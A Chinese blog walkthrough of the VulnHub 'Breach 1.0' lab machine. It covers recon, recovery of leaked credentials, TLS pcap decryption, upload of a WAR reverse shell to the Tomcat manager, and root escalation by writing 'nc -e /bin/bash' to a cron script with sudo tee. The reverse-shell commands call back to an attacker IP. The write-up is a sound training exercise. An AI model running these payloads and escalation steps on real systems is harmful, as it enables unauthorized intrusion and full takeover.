vulnhub-Breach_1.0
一、靶机搭建
靶机下载链接:https://www.vulnhub.com/entry/breach-1,152/
看一下下载靶机带者的文件:readme
发现虚拟机配置了一个静态IP地址(192.168.110.140),因此我们需要将仅主机适配器配置到此子网。
使用靶机自带的桥接网络,物理机(攻击机)需要把网段配为192.168.110.0。
或者使用NAT网络模式,我们靶机和攻击机应该都处于192.168.110.0段中。
breach靶机ip:192.168.110.140
kali攻击机ip:192.168.110.50
二、信息收集
arp-scan 192.168.110.0/24
nmap -sS -Pn -sV -p 0-65535 192.168.110.140
扫描了很久,几乎所有的端口都开了,不知道是什么操作。还是先从常规的web端口下手吧。
访问url:
http://192.168.110.140:80
在源代码中找到一串可疑的加密,试着解密一下
base64二次解码得到:pgibbons:damnitfeel$goodtobeagang$ta
扫描一下目录:http://192.168.110.140/
没有找到啥有用的
进入网站随便乱点了一下,找到一个登陆后台。
三、漏洞利用
进入后台登陆页面,看到登陆页面,下意识试了一下弱密码爆破。啥也没有,想多了。
好像前面那串base64加密像是账号密码
账号:pgibbons
密码:damnitfeel$goodtobeagang$ta
又到了找不同,哦不,信息收集的阶段了
首先看见url:
http://192.168.110.140/impresscms/modules/profile/index.php?uid=2
就顺手把uid参数改一下为:
http://192.168.110.140/impresscms/modules/profile/index.php?uid=3
呕吼,一个平行越权漏洞,也没啥用,职业病犯了。
这里保存一份SSL证书文件,下载下来看看,查了一下.keystore是存储公私密钥的一种文件格式
url:192.168.110.140/.keystore
HOME目录下有个pcap文件url,也把它下下来,.pcap是wireshark流量包文件,这里还告诉了:storepassword和keypassword都设置为“tomcat”
url:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
使用wireshark打开下载的pacp。发现包的内容是经过SSL加密
所以我们需要把.pacp文件解密,变成明文,所以就得用的上第一个下载的ssl证书文件:keystore,需要把证书转化成p12格式才可以解析,然后再导入wireshark中。
查看一下keystore密钥库中的全部证书,密钥库口令为:tomcat
keytool -list -keystore keystore
从密钥库导出.p12证书,口令为:tomcat
将.p12证书导入wireshark中
在Wireshark中打开_SSL_test_phase1.pcap流量包文件,选择菜单:编辑–首选项–Protocols–TLS,点击右边的Edit
PS:很多教程都是SSL,不是TLS,我查了一下,19版本以后就没有ssl协议了,最新版wireshark已经 ssl 改为 tls,
成功解密数据包,发现攻击者访问的端口为8443:
https://192.168.110.140:8443/_M@nag3Me/html
这里有个可疑参数:
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC\r\n
base64解密参数试试,得到下面东西,有点像上面解密得到的账号密码,先放着。
tomcat:Tt\5D8F(#!*u=G)4m7zB
访问一下得到的url:
https://192.168.110.140:8443/_M@nag3Me/html
直接访问,因为我们没有相应的证书,所以不能访问
burp上有各种证书,可以通过检测。挂上代理,使用burp放包
有一个登录框,尝试一下,前面解密出来的账号密码:tomcat:Tt\5D8F(#!*u=G)4m7zB
ok,进去了
这里有个上传文件的功能点,尝试上传一下文件
菜刀连接失败, 发现的问题:上传的菜刀马,一下子就会消失,文件被删除,须要从新上传war包才可以继续使用菜刀,主机可能有杀软或者杀web shell工具。解决方法:bash反弹一个shell出来
使用msf生成一个war格式的反弹shell
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.50 lport=4444 -f war -o test.war
上传文件,发现路径中多了个test123文件
开启监听
点击执行test123程序,反弹shell
进入shell模式输入:python -c ‘import pty;pty.spawn(“/bin/bash”)’
# python调用本地shell实现交互式命令行
发现不是管理员权限,接下来就是提权了
提权
发现在/var/www/5446目录下有两个php文件
打开php文件,发现mysql可以使用root账号免密登录,
查看用户名和密码:select user,password from mysql.user;
得到milton用户的哈希密码,md5解密后可得到:
milton
:
thelaststraw
既然得到了milton账号,就去登录试试,查看一下信息,没什么有用信息。
那就得想一下其他办法了,使用命令:history
查看查看一下历史命令,发现blumbergh和root用户都曾登录过
在
http://192.168.110.140/images/
这个目录我曾发现有六张图片,还没用上,现在下载打开来看看
strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,密码在bill.png图片中。找到可能的密码或提示:发现唯一的单词是:coffeestains
好吧,这一步我不清楚为什么,为什么在图片里,为什么完整的单词就是密码。
或者使用图片查看工具
exiftool
查看一下图片,得到可能的密码为:coffeestains
尝试登陆账号:blumbergh:coffeestains
真的这一步提权,我真的没搞懂,很梦幻。
再查看一下历史命令,发现了/usr/share/cleanup和tidyup.sh脚本文件
查看一下和tidyup.sh脚本文件
这是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前上传的菜刀马总是被删除,需要重新上传。查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以
查看sudo权限,执行sudo -l:发现用户能够以root权限无密码执行这tee程序或tidyup.sh脚本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
ps:tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。
通过crontab的计划任务,反弹root shell
1. 向tidyup.sh中写入反弹shell命令
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
echo “nc -e /bin/bash 192.168.110.50 4444” > shell.txt
再使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:cat /usr/share/cleanup/tidyup.sh
2.在kali攻击机中开启nc监听等待反弹shell,因为是定时任务,这里需要等待3分钟执行反弹,得到权限是root, 成功提权。
参考链接:
kali渗透综合靶机(十五)–Breach-1.0靶机 – JavaShuo
Vulnhub-Breach1.0_CKCsec的博客-CSDN博客
声明:
本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。